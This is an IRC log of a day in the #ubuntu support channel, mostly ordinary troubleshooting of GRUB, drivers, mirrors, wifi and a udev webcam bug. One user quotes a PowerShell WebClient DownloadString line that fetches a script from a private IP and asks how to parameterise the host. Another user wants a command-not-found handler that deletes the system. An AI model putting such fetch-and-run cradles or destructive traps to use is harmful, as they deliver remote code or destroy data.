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Your_Doghttps://www.bleepingcomputer.com/news/security/mozilla-patches-firefox-thunderbird-against-zero-day-exploited-in-attacks/00:02
Your_Doghttps://snapcraft.io/thunderbird00:02
Your_Dogis anyone at canonical ever gonna update thunderbird for snaps?00:02
oerheksbeta and candidate have the patch00:04
oerheksjust wait for it.00:04
Your_Dogokies00:04
oerheksi think it is just about OpenSSL 1.1.1 EOL00:05
oerheksso, you can check or patch yourself00:05
oerheks3.1 is fine00:06
oerhekso r3,0 LTS00:06
Your_Dognah the issue is more on the webp library and how its possible to abuse it to RCE00:24
Your_Dogbut i forgot snap has channels so i just jump to candidate00:25
JanCthat's a nasty one00:34
oerheksif a test is successfull ..00:37
oerheksi hope for a report00:37
JanCbut wouldn't be so much of an issue when the webp library wouldn't be inside a snap (or flatpak, or similar)...   :P00:37
oerheksgoogle just announced a bug in webP00:45
oerhekslolz00:45
oerheksupdate is available00:45
oerheks4 hrs ago00:45
oerheksJanC, **00:45
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kbdlnxWhat bug?03:55
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pagiosi have a ps1 file in linux /var/www/html that has a line that reads this (New-Object System.Net.WebClient).DownloadString('http://192.168.45.244:80/hello.ps1')   i would like to read the ip from an env variable in linux how can i do that ?08:19
weedmicI am unfamiliar with a "ps1 file", but hopefully someone else knows.  be patient.08:24
belstcan't you just use $env:VARNAME like in any powershell script?08:47
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Guest56hi09:17
Guest56Is it possible to get support here ? I have this question https://askubuntu.com/questions/1485645/wifi-is-not-showing-up09:17
Lvl4SwordMy rep isn't high enough to comment, but I'd have asked them what "lspci -v" gives for their network card, since they don't provide enough information. But they left..09:26
John_Dbummer09:27
Guest69hi, when i install ubuntu 22.04.3 in "Installation type" I choose "Erase disk and install ubuntu". There is "advanced options", in that section what does they mean "LVM" and "ZFS" and at the bottom there is an option to encrypt ubuntu installation with a security key. Should I choose one of these other options? I don't know if it's better to choose10:27
Guest69some over others10:27
Guest69https://drive.google.com/file/d/1Q_a0HVant6eaJmJS4E8FWdMHUs0x8wgr/view?usp=sharing10:27
weedmiclvm - is a way to setup a large volume media with physical and ?ethereal? volumes.  ZFS is just a different file system.  You should pick swap for swap and ext4 for the others (if you are daring btrfs).10:29
weedmicsince you asked, you should not do lvm - imho (b/c u did not know even what it was)10:30
Guest69So should I leave the default option "none"?10:33
weedmicwhat was wrong with auto and erase disc?10:35
Guest69i just asked if there is an option better than others10:36
Guest69weedmic i don't know which option is better to be choosen10:43
weedmicif you don't need anyting on the disc, for you - pick the automatic with erase disc.10:45
John_Doh boy..10:46
weedmicif you want to do it manually, you can ask for suggestions, and then be here all day :D10:46
John_Djust use the default and erase the disk10:46
John_Dlol10:46
Guest69i just asked if it's better with a specific option for example about compatibility issues with files, devices and so on10:49
Guest69John_D i remember in past some files didn't open, I don't know if it depended on one of these options10:50
weedmicIk heb mijn aanbeveling al gegeven10:51
weedmicoops, we gave u the same recommendation - <(")10:51
John_DGuest69 default option is the safest bet10:52
John_Dwhat to expect from the next LTS release...10:57
Guest69John_D ok and could it be useful the option to encrypt?10:58
Guest69weedmic there is also an option to encrypt, i don't know if it could be useful10:58
John_DGuest69 it could be useful if you have sensitive information on your laptop and it gets stolen. for average user it's unneccesary10:59
Lvl4SwordI see Firefox was updated but Thunderbird doesn't have an update to 102.15.1. Is there a rough timeline for this release, as it fixes a zero-day?11:03
John_Dthunderbird nowadays is a community project and has different update schedule11:04
Lvl4SwordJohn_D, Huh? Thunderbird's already updated. It's the Ubuntu package that isn't updated.11:08
John_Dgive it some time11:09
weedmicu may want to see if you have thunderbird or snap thunderbird - before you spend any time on it "snap list"11:11
JanCweedmic: ZFS is *also* a volume manager (similar to LVM), not just a file system11:26
weedmictks11:27
effendyHello. I'm unable to figure out how to make grub display the menu before booting.11:33
effendyI've changed /etc/default/grub as follows.11:33
effendyGRUB_TIMEOUT=511:33
effendyGRUB_TIMEOUT_STYLE=menu11:33
weedmicare those seconds or milliseconds?11:34
John_Dsudo update grub11:34
John_Dthen reboot11:34
effendyI have then run "update-grub". After rebooting the machine, there's nothing displaying.11:34
John_Dhm weird11:34
effendyIt seems there's a timeout during a blank screen of some sorts and then I'm seeing things initialising.11:34
lotuspsychjeJohn_D: update-grub is only to rescan/appl newly edited settings a user did on grub changes11:35
effendyYes, he was right to say that.11:35
effendyIn this context.11:35
effendyActually the command is mentioned in a comment inside /etc/default/grub.11:36
effendyAnyway, the virtual machine doesn't seem to wait more than 1-2 seconds, let alone 5.11:37
effendyThis is Ubuntu 22.04.3 installed from a cloud image running on vsphere.11:37
John_Doh, that complicates things11:39
John_DI thought it was on hardware11:39
effendyIn what way does it make things complicated?11:39
John_Dnot sure how VMs handle grub11:41
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effendyWell, not knowing it doesn't make it's more complicated, but eh. It's irrelevant after all :)11:43
John_Dyeah, screw it : )11:43
effendyThe problem is not irrelevant for me. I was just talking about vm/hardware.11:46
effendythe 5 seconds timeout actually seems to be working. It's just that everything is blank unfortunately.11:52
effendyMaybe this is related to the console/tty.11:53
lotuspsychjeeffendy: https://askubuntu.com/questions/16042/how-to-get-to-the-grub-menu-at-boot-time11:54
effendyThe shift thing doesn't work or works extremely rarely. I'm not sure if this is an issue with vsphere. And that's exactly the reason why I'm trying to change the default settings for grub, so that I avoid getting into this problem when I need to recover the system or change any settings directly in grub.11:55
effendyOk, I've got it. There was another file (classical issue) under /etc/default/grub.d that would override the grub timeout.11:58
effendy\/etc/default/grub.d/50-cloudimg-settings.cfg11:58
D_A_NDo the open source AMD drivers that come pre-installed on ubuntu support ROCm?12:14
BluesKajHi all12:16
pagiosquestion, on maccomand prompt, how can i go back to the first character of a given loooong command instead of goingg with the back key indefintelty12:17
leftyfbpagios: "maccomand prompt"?12:18
pagiosno konsole12:18
pagiosi pressed the uparrow and wanna go back now ...12:18
leftyfbpagios: press your home key12:19
pagiosthanks!12:20
pagiosand to go to the end ?12:20
pagiospageup12:20
pagiosthanks!12:20
ficherohi I'm using ubuntu latest ver and12:22
ficheroI have a 1080 i want max performance12:22
ficheroshould I use open source driver or propietario12:22
ficheroand if using propietario, should i use one the driver meta package or the server driver meta12:25
coconutfichero, only the non open source works well with high fps, last time i checked at least12:25
ficheroshould i download it from nvidia.com or12:26
coconutfichero, no just from the repo12:26
ficherois it also open source and early beta12:26
ficheroor runs great?12:26
coconuti do not know if there are beta's in the repo fichero12:30
coconutbut you can go here and just install it https://linuxize.com/post/how-to-nvidia-drivers-on-ubuntu-20-04/ubuntu-nvidia-drivers_huef7b9865e100db748990ddc3c04b6cc8_80557_768x0_resize_q75_lanczos.jpg12:32
coconutand take the above option for driver install, the other is the open source one12:33
John_Dhm. interesting12:37
pickanickHello is http://hk.archive.ubuntu.com/ubuntu  still legitimate? "The repository 'http://hk.archive.ubuntu.com/ubuntu jammy InRelease' is no longer signed.'12:37
pickanickFailed to fetch http://hk.archive.ubuntu.com/ubuntu/dists/jammy/InRelease  403  Forbidden [IP: 2403:2c80:5::6 80]    Failed to fetch http://hk.archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease  403  Forbidden [IP: 2403:2c80:5::6 80]12:38
pickanickThe repository 'http://hk.archive.ubuntu.com/ubuntu jammy-updates InRelease' is no longer signed.    .... The repository 'http://hk.archive.ubuntu.com/ubuntu jammy-backports InRelease' is no longer signed.12:39
ravagepickanick: try #ubuntu-mirrors12:40
ravagebut i would choose another one for now12:40
ravagehttps://launchpad.net/ubuntu/+archivemirrors12:41
ficherococonut: i notice the top line is the latest ver, mine has multiple vers options even for server12:48
coconutfichero, do not know that fichero, i have not used ubuntu for some time now12:50
ograwell, you dont want the server drivers on a desktop ... they are rather optimized for things like CUDA or coin mining etc12:50
ravagefichero: you choose the recommended one12:51
ravagefrom the "additional drivers" application12:51
leftyfbfichero: open the "Additional drivers" app and click on the option that says recommended12:51
ficheroyes it was the first line and after a couple minutes it told me is the recomended12:52
Apachezany systemd gurus around?   whats the difference between   frr.service  and  frr@.service?   does that @ have some special meaning in systemd-world?13:02
effendyApachez: This might help: https://wiki.archlinux.org/title/systemd13:04
effendyLook at the second note "Some unit names contain an @..."13:05
ficherowhat happened when password and key app crashes?13:23
ficheroi mean why would it crash13:23
John_Dyou might never know. just reboot13:25
ficheromy cpu-nb was at 220013:25
ficherodefault is 2000 i think13:25
ficheroon a phenom ii13:25
ficherothe voltage is the same as my cpu 1.47513:25
ficheroI should put it at 1.4 since is default now but it may break, last time it was at 1.4v it passed prime95 but then on grid racer it showed a white screen that faded quickly for 3 seconds13:26
ficheroI can never overclock greatly, lots of issues hapened with my 2500 xp too13:27
ravagefichero: overclocking is off topic here. try #hardware13:33
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centHOGGhttps://www.techpowerup.com/cpu-specs/athlon-xp-2500.c9113:45
Apachezeffendy: tnx, I also found 2 names \2xd in the name like so:  /usr/lib/systemd/system/system-systemd\x2dcryptsetup.slice    and    /sys/fs/cgroup/system.slice/system-serial\x2dgetty.slice    which looks odd to me14:15
pickanickWill it work to have, in /etc/apt/sources.list , two entries of each type? will apt use the first one that works or will it downlead from each entry?  are there any problems with having multiple entries?14:22
lotuspsychjepickanick: you want to add multiple ppa's for the same package or different packages?14:32
Eickmeyerenyc: I'm going to answer the question you've been cross-posting ALL OVER THE PLACE (against guidelines/rules). Kubuntu. Really any flavor with KDE's Plasma Desktop such as Kubuntu or Ubuntu Studio can accomplish what you're trying to do and has the theming probably for it, but you're not going to be walked through it or handheld.14:35
Eickmeyer!guidelines | enyc14:35
ubottuenyc: The guidelines for using the Ubuntu channels can be found at https://wiki.ubuntu.com/IRC/Guidelines14:35
zetheroo2How do I find out when (date) a system was updated from one version of Ubuntu Desktop to another?14:42
ioriazetheroo2, iirc, /var/log/dist-upgrade/14:44
ioriazetheroo2, but , if you still have it, you can do : ls -l /etc/apt/sources.list.distUpgrade14:48
zetheroo2OK!14:49
enycEickmeyer: I don't think thats fair, I've had power failure and lost history, probably asked cinnamon or deskop and realized may be in wrong place  discovered flavors  another day reconnecting everything,  first person to give me a hint, at all.  -packaging is a completely different point following suggestion from ubuntu+1/next and deriv-distro too  upstream point...   I'm used to helping-out or indeed14:49
enycasking in debian- subchannels and -x -arm -admin -security  and so-on that have been well-received ,  when I've askde for a hint or pointer tend to find it after a while.14:49
enycno need to get all capital-lettery14:49
enycEickmeyer: AHA Plasma which *looks* like there also in 22.04LTS similarly  aah!  Good point Thankyou will get that on test too.14:50
ficherois there a tool in ubuntu i could use to check which apps crashed besides the log at var? or is that one of the best ways to check14:51
Eickmeyerenyc: We have a guideline against re-posting. If you repeat, it's very likely nobody is going to respond and you repeated in there three times. Hence me getting annoyed and capital-lettery.14:51
Eickmeyerenyc: Either way, arguments are also off-topic.14:52
lotuspsychjefichero: if an app crashes ubuntu should give you a warning about, and present you to file a possible bug14:54
lotuspsychjefichero: /var/crash dir is also handy to see wich apps crashed (before)14:55
lotuspsychjefichero: alternate you can also keep a journalctl - f open from a terminal and see everything happening in realtime on your system14:57
ficherovery wel14:57
ficherolotuspsychje: what if i run it as standard user? will it show the same info than as user root?15:03
centHOGGlotuspsychje: thanx for that "journalctl -f" tip15:04
lotuspsychjefichero: journalctl ?15:04
lotuspsychjecentHOGG: welcome, if you need it more fancy in colours, try journaltctl -f | ccze -A15:05
centHOGGkk15:05
ev0n44what directory can i put a script in to make it global.  I thought it was /usr/bin but that's not working for me16:01
user9dwhat ayt you did a trace a' the code executed within linux kernel 6.6-rc1 (2023) to linux kernel (2012) and the code ran exactly the same?16:01
leftyfbev0n44: /usr/bin is "global" for accounts that have /usr/bin on their $PATH which is default16:02
leftyfbev0n44: define global in your use case. Is it a user running the script or a service?16:02
leftyfbuser9d: sorry, can you reword your question?16:03
ev0n44leftyfb, global as in can be run from any directory in the terminal for a user16:03
ev0n44I will double check the $path16:04
pickanicklotuspsychje : I mean where there is "deb URL1 jammy main restricted" to have a second line "deb URL2 jammy main restricted"  and similarly for "jammy-updates main restricted",  and so forth16:04
leftyfbev0n44: $path will be empty. You are looking for $PATH. /usr/bin is default for all users created on a default install of ubuntu16:05
lotuspsychje!repos | pickanick16:05
ubottupickanick: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories - See https://wiki.ubuntu.com/RecommendedSources for the recommended way to set up your repositories.16:05
user9dreworded: what ayt ubuntu 23.03 und ubuntu 10.03 were basically the same code ran the same way with hardware detection taken out?16:05
ev0n44Great thanks16:05
leftyfbuser9d: "ayt" and "und" are not words in the English dictionary. Ubuntu 10.03 never existed. Can you please reword your question?16:07
leftyfbuser9d: Ubuntu 23.03 also never existed16:08
user9dallahbahnictarnoduh, I need you to be smarter. But as you are ChanSerder, allahbahkaynictardooduh.16:08
user9dI'm a bot through another world16:08
leftyfbuser9d: trolling is offtopic here16:08
hank_Oh dhear halp! my first attempt at using cinnamon and my eyes burn!16:48
leftyfbhank_: ubuntu.com/download to download a fresh install of stock ubuntu16:48
hank_lol ill go back to mate. been having trouble getting a windows iso to load to my USB. UEFI problems, was just using this to try anything new.16:50
ravagegood luck16:50
hank_i wish computers didn't advance past windows XP Sp2, there is no need.16:50
ravage!ot | hank_16:51
ubottuhank_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!16:51
pickhank_ : I can help: please put cinnamon on bread or pancakes, not in your eyes.16:51
leftyfbpick: lets not16:51
hank_lefty has no humor. its ok, ill leave.16:52
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ficherohi axsuul17:14
ficherowelcome to the fold17:14
amazoniantoadHey! How do I overwrite functions using bashrc? I want to make a custom function which handles when someone mistypes a system command.17:16
leftyfbamazoniantoad: mynewfunction(){ for i in something ; do something ; done }17:17
leftyfbamazoniantoad: you might try asking in #bash though17:17
amazoniantoadThanks leftyfb. I thought this might be something specific to Ubuntu though17:19
amazoniantoadLike, I realize it's possible in all versions of linux. But the specific error handling function has a name created and maintained by ubuntu17:19
amazoniantoadleftyfb: #bash says there isn't one. So this is something specific to Ubuntu17:21
leftyfbamazoniantoad: it's not specific to ubuntu. And they gave you another suggestion. But you seem to be not giving all the details17:23
amazoniantoadleftyfb: What details did I leave out? Sorry. I don't mean to be frustrating.17:23
leftyfbamazoniantoad: what are you trying to accomplish exactly?17:23
amazoniantoadleftyfb: I wanna make my system delete itself if someone mistypes a system command. I'm setting up my environment for CTF with my friends.17:25
amazoniantoadIn case they break in lol17:25
leftyfb:/17:25
amazoniantoadIt's an ubuntu domU, not really any danger to my computer17:25
leftyfbamazoniantoad: good luck with that17:25
amazoniantoadthanks!17:26
mesa_no_exdishi. i ran an internet speed test on my ubuntu and on my mac, one after the other, both on the same network, neither having a vpn on. ubuntu's avergae 35 mbps, while the mac averages 588 mbps. why on earth is my ubuntu's wifi comparatively so slow?17:51
leftyfbdrivers and potentially the chipset. It's different hardware17:51
mesa_no_exdisubuntu averages*17:51
mesa_no_exdisleftyfb, is there anything i can do about this??17:52
mesa_no_exdisi'm using a thinkpad x1 carbon, gen 917:53
leftyfbmesa_no_exdis: try sudo iwconfig $(ls /sys/class/net/wl*) power off17:53
leftyfbsee if that makes a difference17:53
mesa_no_exdisleftyfb, iwconfig: unknown command "address"17:54
leftyfbmesa_no_exdis: sudo apt instal wireless-tools17:54
mesa_no_exdissucceeded. still getting the error i wrote above17:55
leftyfbafter turning off power save?17:55
mesa_no_exdisthrough the command you wrote?17:56
mesa_no_exdisor manually?17:56
leftyfbmesa_no_exdis: sudo apt install wireless-tools && sudo iwconfig $(ls /sys/class/net/wl*) power off17:56
mesa_no_exdiswireless-tools is already the newest version (30~pre9-13.1ubuntu4).17:57
mesa_no_exdisiwconfig: unknown command "address"17:57
leftyfbah riht17:59
leftyfbmesa_no_exdis: try sudo iwconfig $(ls /sys/class/net/|grep ^wl) power off17:59
mesa_no_exdisseems to have taken. now what?18:00
leftyfbnow run your speed test18:00
mesa_no_exdis30 mbps18:01
mesa_no_exdisany other ideas?18:02
leftyfbmesa_no_exdis: https://github.com/jeremyb31/wireless-info   run that and pastebin the output18:03
leftyfbmesa_no_exdis: cd ; wget -N -t 5 -T 10 https://github.com/UbuntuForums/wireless-info/raw/master/wireless-info && chmod +x wireless-info && ./wireless-info | nc termbin.com 999918:04
pragma-one thing to consider: if you're on 5ghz on mac and 2.4ghz on ubuntu, then ubuntu will be slower since 5ghz has higher speeds, naturally.18:05
leftyfbmesa_no_exdis: hold on, wrong command18:05
leftyfbmesa_no_exdis: cd ; wget -N -t 5 -T 10 https://github.com/UbuntuForums/wireless-info/raw/master/wireless-info && chmod +x wireless-info && ./wireless-info && cat wireless-info.txt | nc termbin.com 999918:06
mesa_no_exdispragma-, for sure. but the ubuntu's on the same 5ghz network as the mac18:06
pragma-why type cd first?18:06
pragma-oh, to go into a writeable home directory18:06
* pragma- gestures at cd /tmp18:07
Jagaimocan anyone help out a newb install something? I'm trying to get CHRIP to install on 22.04 but I cant get the .whl file to work18:10
leftyfbJagaimo: I can't find "chrip" in the ubuntu apt repo's nor snap. You'll have to reach out to the program vendor for support18:11
Jagaimowould you happen to know how do download a .whl file? I'm using brave and the site dosen't download the install file it just opens up a window which looks like wingdings to me18:13
mesa_no_exdisleftyfb and pragma-, is there a section of the wireless info that you're looking for?18:13
leftyfbJagaimo: try wget?18:13
leftyfbmesa_no_exdis: please paste the termbin.com URL here18:14
pragma-I don't know why anybody would continue using Brave after they got caught injecting nefarious things into websites.18:14
Jagaimo@pragma I didnt know that what browser would you recommend also do you have a source?18:14
ravagefirefox works just fine18:15
pragma-Jagaimo: sure, there are dozens of sources if you google "brave injecting into websites". I use Firefox.18:15
pragma-If on Android, XBrowser is great.18:15
Jagaimothanks!18:17
pragma-hmm, guess he was paranoid about us hacking his wifi :p18:31
ev0n44I have ubuntu server installed with just a terminal.  How do I get it to automatically start startx on startup?18:42
ravageubuntu server does not come with any of that18:43
ravageif you dont install a desktop environment there is no command to run18:43
ev0n44ravage, I install xorg and openbox already.  Just need it to start on boot18:43
leftyfbev0n44: why do you need a GUI on a server?18:43
ev0n44leftyfb, I chose ubuntu server because I am creating a single purpose system to log into VMs.  I was told ubuntu server would be a good place to start with just a terminal18:44
ev0n44I installed xorg and openbox so I could run virt-viewer on it18:45
leftyfbev0n44: I would just install xubuntu18:45
ev0n44leftyfb,  don't want any other services or apps installed at all.  Just want a single purpose system18:46
ev0n44I have everything working. Just want openbox to launch on boot18:47
leftyfbev0n44: https://www.linode.com/docs/guides/start-service-at-boot/18:47
leftyfbthough you want the service to be added as a --user18:47
ev0n44leftyfb ah yes I should have known i would have to use systemd18:48
ev0n44Thanks18:48
sylvain_Hello, I'm installing ubuntu22.04 on a MSI Gt70 laptop. I got some trouble while installing. Now it's installed and I must add dis_ucode_ldr to the kernel for make it boot. Can I stay with that, what's the disadvantage of keeping that?19:02
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toddcsylvain31: see https://bugs.launchpad.net/ubuntu/+source/grub2/+bug/1831789 but it looks like that is a recovery for a failed microcode update so??19:06
-ubottu:#ubuntu- Launchpad bug 1831789 in grub2 (Ubuntu Groovy) "Add 'dis_ucode_ldr' to linux boot options for Recovery Mode" [High, Fix Released]19:06
ravagei would check for a BIOS update first19:07
sylvain31toddc, ravage, OK Thanks. Let me read a bit more about that parameter. This is an old computer BIOS is from 2014, there's some upgrade possible on MSI website it seems. 🤷19:13
topcat001ev0n44: I took the following approach: https://ostechnix.com/ubuntu-automatic-login/ and then (optionally) added startx at the end of .profile.19:27
leftyfbev0n44: I do not suggest using .profile to autostart applications on boot nor do I suggest making your machine automatically login19:30
sylvain_about: dis_ucode_ldr kernel parameter, The Intel Github issue, linked to the launchpad issue, seems to mention it could be related to the CPU. On this laptop lshw gives: Intel(R) Core(TM) i7-4810MQ CPU @ 2.80GHz the newer BIOS seems published by 2015, https://www.msi.com/Laptop/GT70-2PC-Dominator/support19:31
leftyfbsylvain_: step #1 upgrade BIOS. Then continue troubleshooting if necessary19:31
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Apachezany of you who happens to know that when using mksquashfs with "-wildcards -ef /path/exclude.list" if that exclude.list can contain comments # or is it strictly one file/dir per row to be removed ?19:53
sylvain31Apachez, man page says:        -ef EXCLUDE_FILE20:18
sylvain31           list of exclude dirs/files. One per line.20:18
Apachezyeah so no comments supported then?20:18
sylvain31I would say it wont accept comment.20:18
sylvain31but could be achived with bash stdin <() trick though20:19
sylvain31leftyfb, BIOS update seem did the trick dis_ucode_ldr remove from grub kernel parameter and the PC did boot.20:25
ravage\o/20:38
sylvain31Though, trying the USB key installer is still failing on non-safemode ending after timeout on "Failed to Start Ubuntu Live CD installer."20:38
ravagebut you have it already installed?20:40
sylvain31ravage, Yes, the OS was installed by passing to safemode at the first time, right.20:44
sylvain31If I edit the grub kernel and add nomodeset on the USB key install, it boot to graphic chooser "Try Ubuntu" from the key.20:45
toddcsylvain31: https://ubuntuforums.org/showthread.php?t=1613132   boot to grub hit shift add no modset option enter continue to install/test after install liook for addl drivers20:47
sylvain31toddc, petty old but still interesting thread. Now that I've some experience with reluctant hardware I would say this is a very good helper.20:53
sylvain31the nomodeset option and dis_ucode_ldr are now present in the safemode alternative in the USB key default choice. 👍️20:56
iconoclastherodoes the apt packaged in 22.04 support deb822-style sources?21:02
Guest10I am performing a backup of Ubuntu Linux and the backup has seemed to halted with the message of "Creating first backup. This may take a while." How do you backup Ubuntu Linux with results like these?21:12
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leftyfbGuest10: I use rsync21:15
pasjrwoctxhttps://askubuntu.com/questions/1485720/gphoto2-cant-see-usb-camera-after-recent-apt-update-apt-distro-upgrade21:22
pasjrwoctxhttps://askubuntu.com/questions/1485720/gphoto2-cant-see-usb-camera-after-recent-apt-update-apt-distro-upgrade21:26
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pasjrwoctxudev update has broken ubuntu's ability to import photos in digikam, gphoto2 can no longer see usb camera, entangle can no longer see camera. any one know how to fix?23:13
ravage!bug | pasjrwoctx23:14
ubottupasjrwoctx: If you find a bug in Ubuntu or any of its official !flavors, please report it using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs.23:14
lenswipeGot a USB webcam here that suddenly (as-of yesterday morning) detected on my ubuntu system. I plug it in and don't even see it show up in dmesg. Yet it works perfectly on a windows 10 machine.23:22
lenswipeI've tried multiple USB ports (which all work with other devices in them by the way) and it's the same23:22
grylenswipe: try another usb port on the same computer? a live linux cd on the other computer where you have windows 10?23:24
lenswipegry, tried that already, this webcam is supported by linux because it worked like 2 days ago23:24
grylenswipe: if it's working in a linux somewhere today, may make sense to get it identified. on the linux computer which identifies it ok, visit www.h-node.org click Search, scroll down, follow instructions in the last textbox23:25
lenswipegry, i only have 1 linux machine and it's not working on that23:27
grylenswipe: do you have a usb? can you do a live linux usb on the other machine?23:27
lenswipethe linux machine or the win10 machine?23:27
grylenswipe: linux live usb on the windows 10 machine23:28
lenswipeI'm kind of debating a re-install at this point tbh because first my internal webcam stopped working (weird IPU6 nonsense form dell), then the external webcam I started using also stopped working23:29
lenswipethe former just shows a black picture, the latter is just not detected at all23:29
grylenswipe: well, another option is to do a live linux usb on the linux machine.23:29
lenswipeboth _USED_ to work and the former stopped working after a kernel update23:29
grylenswipe: the idea is to try at different machines to understand whether it's the usb port that's faulty, or the software (i.e., the OS).23:29
lenswipeyeah, might try a live usb on the linux machine and see if that works23:29
lenswipegotcha23:29
grylenswipe: I wouldn't come to conclusions until and unless all of the testing is done23:30
lenswipesure, but i think it's the OS because it works fine under windows23:30
lenswipeit also flapped up briefly yesterday and worked for half a day23:30
Eickmeyerlenswipe: Which version? yy.mm23:30
Eickmeyer!yy.mm23:30
ubottuUbuntu version numbers are: YY.MM (YY=release year,MM=release month). Each year sees two releases, so just specifying YY is imprecise. See also https://www.ubuntu.com/about/release-cycle23:30
lenswipeEickmeyer, which kernel?23:31
lenswipeoh, which ubuntu version? 22.0423:31
EickmeyerThought so.23:31
lenswipeoh?23:31
lenswipeIs/was that a problematic release?23:31
EickmeyerRecent systemd update seems to be causing headaches with USB cameras/webcams.23:31
EickmeyerNot everyone or all are affected, but some.23:32
lenswipeoh, lovely. is there a patch in the pipeline? and/or do you have a bugzilla link to send to my boss?23:32
EickmeyerSomeone was in here earlier, and the Ubuntu Studio twitter feed got someone asking.23:32
EickmeyerSadly, no, just anecdotes so far.23:32
lenswipehmm, that's a shame23:33
lenswipeat least I know I'm not going mad23:33
EickmeyerI've got bug 2035406 so far.23:33
-ubottu:#ubuntu- Bug 2035406 in systemd (Ubuntu) "udev update has broken ubuntu's ability to import photos in digikam, gphoto2 can no longer see usb camera, entangle can no longer see camera" [Undecided, New] https://launchpad.net/bugs/203540623:33
Eickmeyerudev is a component of systemd.23:33
lenswipesince you're here - another PITA is that my employer recently switched to SSO/SAML auth for VPN. This meant I had to abandon networkmanager-openconnect and use the official cisco client instead which is....****ing garbage. It flaps up and down and makes zoom calls basically impossible while on the VPN. Supposedly there is/was a fix in the works but idk if/when that is (or has) made it to Ubuntu.23:34
lenswipehttps://bugzilla.redhat.com/show_bug.cgi?id=203541123:34
-ubottu:#ubuntu- bugzilla.redhat.com bug 2035411 in Fedora "NetworkManager-openconnect doesn't support SAML/SSO logins" [Unspecified, Closed: Errata]23:34
lenswipeDo you happen to know?23:34
EickmeyerNo clue on that.23:35
lenswipeok no worries23:35
EickmeyerThe systemd/udev issue just happens to be on my radar, but beyond my scope.23:35
lenswipeyeah23:35
lenswipedo you know where I could go to find out more about the AnyConnect thing?23:35
lenswipesidenote: why is it that Enterprise  software (with the capital E like ORACLE, Cisco etc.)  is a GIGANTIC pain in the arse to work with23:37
EickmeyerWouldn't know. The only enterprise software I really work with is Ubuntu. :joy:23:37
Eickmeyer😂23:37
EickmeyerAs far as AnyConnect, I don't really work with it.23:37
lenswipelucky you23:38
lenswipei used to be able to use the openconnect plugin for network manager, but that seemingly doesn't work with SSO based VPNs23:39
EickmeyerOof. It works very well with my TPLink router.23:40
Eickmeyerlenswipe: If you haven't already, please go to bug 2035406 and click the yellow button next to "Does this bug affect you?".23:43
-ubottu:#ubuntu- Bug 2035406 in systemd (Ubuntu Jammy) "udev update has broken ubuntu's ability to import photos in digikam, gphoto2 can no longer see usb camera, entangle can no longer see camera" [Undecided, Confirmed] https://launchpad.net/bugs/203540623:43
EickmeyerI've already marked it as "Confirmed" but I'm bugging the person who did the last upload.23:44
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lenswipeEickmeyer, i'm sure....but I doubt your TPLink router is doing SAML/SSO based VPN ;)23:45
lenswipeit works great with my Ubquiti APs and EdgeRouter too23:46
Eickmeyerlenswipe: Ha! No, it's not.23:46
lenswipealso, I shit on Cisco a lot but I have a 2960 downstairs running things and it's actually great23:46
lenswipeI also have a 3750 but I don't use it much because it sounds like a jet engine taking off23:46
Eickmeyerlenswipe: Careful with the language, and we're straying off-topic in this support chat. We do allow children in here.23:46
lenswipefair23:46
EickmeyerMy son, for instance, contributes to Edubuntu.23:47
lenswipeoh wow is that still a thing?23:47
EickmeyerMore like, it's back after 9 years. My wife leads and I provide tech leadership.23:47

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